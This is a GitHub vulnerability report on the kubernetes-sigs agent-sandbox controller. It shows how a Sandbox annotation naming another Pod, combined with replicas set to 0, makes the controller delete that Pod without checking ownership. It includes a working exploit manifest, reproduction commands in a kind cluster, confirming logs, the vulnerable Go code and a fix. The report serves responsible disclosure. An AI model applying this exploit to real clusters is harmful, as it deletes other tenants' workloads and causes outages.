-
Notifications
You must be signed in to change notification settings - Fork 159
Description
Summary:
The agent-sandbox controller (SandboxReconciler) contains a critical privilege escalation vulnerability that allows an attacker with only Sandbox resource creation permissions to delete arbitrary Pods in the same namespace. The vulnerability exists in the reconcilePod() function at controllers/sandbox_controller.go:328-354, where the controller reads a Pod name from a user-controlled annotation (agents.x-k8s.io/pod-name) and deletes the referenced Pod without verifying ownership. This constitutes a "Confused Deputy" attack where the controller's elevated RBAC permissions are exploited to perform unauthorized operations.
Attack Vector: An attacker creates a Sandbox resource with a malicious annotation pointing to a victim Pod, then sets spec.replicas: 0 to trigger the deletion logic. The controller blindly trusts the annotation value and deletes the target Pod without checking ownerReferences or labels.
Impact:
- Privilege escalation from Sandbox create permission to Pod delete permission
- Denial of Service (DoS) attacks against critical workloads
- Multi-tenant environment compromise
- CVSS Score: 7.5 (High)
Kubernetes Version:
- Kubernetes Version: v1.27.3
- Distribution: kind (Kubernetes IN Docker)
- Cluster Name: agent-sandbox
Component Version:
- Component: agent-sandbox controller (https://github.com/kubernetes-sigs)
- Version: v0.1.0
- Repository: https://github.com/kubernetes-sigs/agent-sandbox
- Vulnerable File:
controllers/sandbox_controller.go - Vulnerable Function:
reconcilePod() - Vulnerable Lines: L328-330 (annotation read), L348-354 (unchecked deletion)
Asset: agent-sandbox controller (https://github.com/kubernetes-sigs/agent-sandbox)
Scope Clarification:
This is a kubernetes-sigs project that:
- Is part of the official Kubernetes ecosystem (SIG Apps)
- Manages core Kubernetes resources (Pods, Services, PVCs)
- Has elevated RBAC permissions in Kubernetes clusters
- The vulnerability allows privilege escalation affecting core Kubernetes Pods
Steps To Reproduce:
Prerequisites
- Docker installed
- kubectl installed
- kind installed
- Internet access to pull images
Step 1: Create kind Cluster
# Create a kind cluster
kind create cluster --name agent-sandbox
# Verify cluster is running
kubectl cluster-info --context kind-agent-sandboxExpected Output:
Creating cluster "agent-sandbox" ...
✓ Ensuring node image (kindest/node:v1.27.3) 🖼
✓ Preparing nodes 📦
✓ Writing configuration 📜
✓ Starting control-plane 🕹️
✓ Installing CNI 🔌
✓ Installing StorageClass 💾
Set kubectl context to "kind-agent-sandbox"
Kubernetes control plane is running at https://127.0.0.1:xxxxx
Step 2: Deploy agent-sandbox Controller
# Set version
export VERSION="v0.1.0"
# Deploy agent-sandbox core components
kubectl apply -f https://github.com/kubernetes-sigs/agent-sandbox/releases/download/${VERSION}/manifest.yaml
# Wait for controller to be ready
kubectl wait --for=condition=ready pod -l app=agent-sandbox-controller -n agent-sandbox-system --timeout=120s
# Verify controller is running
kubectl get pods -n agent-sandbox-systemExpected Output:
namespace/agent-sandbox-system created
serviceaccount/agent-sandbox-controller created
clusterrolebinding.rbac.authorization.k8s.io/agent-sandbox-controller created
service/agent-sandbox-controller created
statefulset.apps/agent-sandbox-controller created
customresourcedefinition.apiextensions.k8s.io/sandboxes.agents.x-k8s.io created
clusterrole.rbac.authorization.k8s.io/agent-sandbox-controller created
NAME READY STATUS RESTARTS AGE
agent-sandbox-controller-0 1/1 Running 0 25s
Step 3: Create Victim Pod (Target for Attack)
Create a file named victim-pod.yaml:
apiVersion: v1
kind: Pod
metadata:
name: victim-pod
namespace: default
labels:
app: victim
spec:
containers:
- name: nginx
image: nginx:latest
ports:
- containerPort: 80Apply the victim Pod:
# Create the victim Pod
kubectl apply -f victim-pod.yaml
# Wait for Pod to be running
kubectl wait --for=condition=ready pod/victim-pod --timeout=60s
# Verify Pod is running and record its state
kubectl get pod victim-pod -o wideActual Output from Verification:
pod/victim-pod created
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
victim-pod 1/1 Running 0 26s 10.244.0.6 agent-sandbox-control-plane <none> <none>
Evidence: Save the Pod state before attack:
kubectl get pod victim-pod -o yaml > victim-pod-before-attack.yamlStep 4: Create Malicious Sandbox (Exploit)
Create a file named poc-attacker-sandbox.yaml:
apiVersion: agents.x-k8s.io/v1alpha1
kind: Sandbox
metadata:
name: attacker-sandbox
namespace: default
annotations:
agents.x-k8s.io/pod-name: victim-pod # Malicious annotation pointing to victim
spec:
replicas: 0 # Triggers deletion logic
podTemplate:
spec:
containers:
- name: dummy
image: busybox
command: ["sh", "-c", "sleep 3600"]Key Attack Elements:
annotations["agents.x-k8s.io/pod-name"]: victim-pod- Points to the victim Podspec.replicas: 0- Triggers the controller's deletion logic
Apply the malicious Sandbox:
# Create the attacker Sandbox
kubectl apply -f poc-attacker-sandbox.yaml
# Wait a few seconds for controller to process
sleep 3Actual Output from Verification:
sandbox.agents.x-k8s.io/attacker-sandbox created
Step 5: Verify Unauthorized Deletion
# Check if victim Pod still exists
kubectl get pod victim-podActual Output from Verification (VULNERABILITY CONFIRMED):
Error from server (NotFound): pods "victim-pod" not found
Result: The victim Pod has been successfully deleted by the attacker who only had Sandbox creation permissions, not Pod deletion permissions.
Step 6: Examine Controller Logs (Evidence)
# View controller logs to see the deletion operation
kubectl logs -n agent-sandbox-system agent-sandbox-controller-0 --tail=20Actual Controller Logs from Verification:
2026-01-09T14:58:49Z INFO Using tracked pod name from sandbox annotation
{"controller": "sandbox", "controllerGroup": "agents.x-k8s.io",
"controllerKind": "Sandbox", "Sandbox": {"name":"attacker-sandbox","namespace":"default"},
"namespace": "default", "name": "attacker-sandbox",
"reconcileID": "7668e11b-62b3-4edf-9ee0-0597bb4c0d01",
"podName": "victim-pod"}
2026-01-09T14:58:49Z INFO Deleting Pod because .Spec.Replicas is 0
{"controller": "sandbox", "controllerGroup": "agents.x-k8s.io",
"controllerKind": "Sandbox", "Sandbox": {"name":"attacker-sandbox","namespace":"default"},
"namespace": "default", "name": "attacker-sandbox",
"reconcileID": "7668e11b-62b3-4edf-9ee0-0597bb4c0d01",
"Pod.Namespace": "default", "Pod.Name": "victim-pod"}
2026-01-09T14:58:49Z INFO Removing pod name annotation from sandbox
{"controller": "sandbox", "controllerGroup": "agents.x-k8s.io",
"controllerKind": "Sandbox", "Sandbox": {"name":"attacker-sandbox","namespace":"default"},
"namespace": "default", "name": "attacker-sandbox",
"reconcileID": "7668e11b-62b3-4edf-9ee0-0597bb4c0d01",
"Sandbox.Name": "attacker-sandbox"}
Analysis: The logs clearly show:
- Controller reads the malicious annotation:
"podName": "victim-pod" - Controller deletes the Pod:
"Deleting Pod because .Spec.Replicas is 0" - No ownership verification is performed
Supporting Material/References:
1. Vulnerable Source Code
File: controllers/sandbox_controller.go
Lines 324-354 (vulnerable code section):
// Determine the pod name to look up
podName := sandbox.Name
var trackedPodName string
var podNameAnnotationExists bool
// ❌ VULNERABILITY: Reads Pod name from user-controlled annotation
if trackedPodName, podNameAnnotationExists = sandbox.Annotations[SandboxPodNameAnnotation];
podNameAnnotationExists && trackedPodName != "" {
podName = trackedPodName // Directly uses user-provided value
log.Info("Using tracked pod name from sandbox annotation", "podName", podName)
}
pod := &corev1.Pod{}
err := r.Get(ctx, types.NamespacedName{Name: podName, Namespace: sandbox.Namespace}, pod)
if err != nil {
if !k8serrors.IsNotFound(err) {
log.Error(err, "Failed to get Pod")
return nil, fmt.Errorf("Pod Get Failed: %w", err)
}
if podNameAnnotationExists {
log.Error(err, "Pod not found")
return nil, fmt.Errorf("Pod in Annotation Get Failed: %w", err)
}
pod = nil
}
// if replicas is 0, delete the pod if it exists
if *sandbox.Spec.Replicas == 0 {
if pod != nil {
if pod.ObjectMeta.DeletionTimestamp.IsZero() {
log.Info("Deleting Pod because .Spec.Replicas is 0",
"Pod.Namespace", pod.Namespace, "Pod.Name", pod.Name)
// ❌ VULNERABILITY: Deletes Pod without ownership verification
if err := r.Delete(ctx, pod); err != nil {
return nil, fmt.Errorf("failed to delete pod: %w", err)
}
}
}
}Root Cause:
- L328-330: Reads Pod name from
sandbox.Annotations[SandboxPodNameAnnotation]which is user-controlled - L334: Fetches the Pod using the user-provided name
- L352: Deletes the Pod without checking:
pod.metadata.ownerReferences(should point to the Sandbox)pod.labels["agents.x-k8s.io/sandbox-name-hash"](should match the Sandbox)- Any other ownership verification
2. RBAC Configuration Evidence
File: k8s/rbac.generated.yaml (Lines 7-20)
The controller has elevated permissions:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: agent-sandbox-controller
rules:
- apiGroups:
- ""
resources:
- pods
verbs:
- create
- delete # ← Controller can delete Pods
- get
- list
- patch
- update
- watchThis shows the controller has delete permission on Pods, which the attacker exploits.
3. Attack Flow Diagram
┌─────────────────┐
│ Attacker │
│ (Low Privilege) │
└────────┬────────┘
│
│ 1. Create Sandbox with malicious annotation
│ annotations["agents.x-k8s.io/pod-name"] = "victim-pod"
│ spec.replicas = 0
▼
┌─────────────────────────┐
│ Sandbox Controller │
│ (High Privilege) │
│ - Has Pod delete perm │
└────────┬────────────────┘
│
│ 2. Reads annotation (no validation)
│ 3. Gets Pod "victim-pod"
│ 4. Deletes Pod (no ownership check)
▼
┌─────────────────┐
│ Victim Pod │
│ (Deleted!) │
└─────────────────┘
4. Verification Environment Details
# Kubernetes cluster info
$ kubectl version --short
Client Version: v1.27.3
Kustomize Version: v5.0.1
Server Version: v1.27.3
# Node info
$ kubectl get nodes
NAME STATUS ROLES AGE VERSION
agent-sandbox-control-plane Ready control-plane 15m v1.27.3
# Controller deployment
$ kubectl get statefulset -n agent-sandbox-system
NAME READY AGE
agent-sandbox-controller 1/1 10m5. Impact Assessment
Security Impact:
- Confidentiality: Low (primarily deletion/DoS)
- Integrity: Medium (can disrupt workload state)
- Availability: High (can delete critical Pods causing service outages)
Attack Scenarios:
- Multi-tenant DoS: Tenant A deletes Tenant B's Pods
- Critical service disruption: Delete monitoring, logging, or control plane components
- Privilege escalation: Escalate from Sandbox create to Pod delete permissions
Business Impact:
- Service outages in production environments
- Data loss if stateful Pods are deleted
- Compliance violations in regulated industries
- Loss of customer trust
6. Recommended Fix
Add ownership verification before deletion:
// if replicas is 0, delete the pod if it exists
if *sandbox.Spec.Replicas == 0 {
if pod != nil {
// ✅ FIX: Verify Pod ownership before deletion
if !isPodOwnedBySandbox(pod, sandbox) {
log.Error(nil, "Pod is not owned by this Sandbox, refusing to delete",
"Pod.Name", pod.Name, "Sandbox.Name", sandbox.Name)
return nil, fmt.Errorf("pod %s is not owned by sandbox %s",
pod.Name, sandbox.Name)
}
if pod.ObjectMeta.DeletionTimestamp.IsZero() {
log.Info("Deleting Pod because .Spec.Replicas is 0",
"Pod.Namespace", pod.Namespace, "Pod.Name", pod.Name)
if err := r.Delete(ctx, pod); err != nil {
return nil, fmt.Errorf("failed to delete pod: %w", err)
}
}
}
}
// Helper function to verify ownership
func isPodOwnedBySandbox(pod *corev1.Pod, sandbox *sandboxv1alpha1.Sandbox) bool {
// Check ownerReferences
for _, owner := range pod.OwnerReferences {
if owner.UID == sandbox.UID {
return true
}
}
// Check label
if pod.Labels != nil {
expectedHash := computeSandboxHash(sandbox.Name)
if pod.Labels[sandboxLabel] == expectedHash {
return true
}
}
return false
}7. Additional References
- CVE Classification: Privilege Escalation / Confused Deputy
- CWE-863: Incorrect Authorization
- OWASP: Broken Access Control (A01:2021)
- Kubernetes Security: Controller RBAC Abuse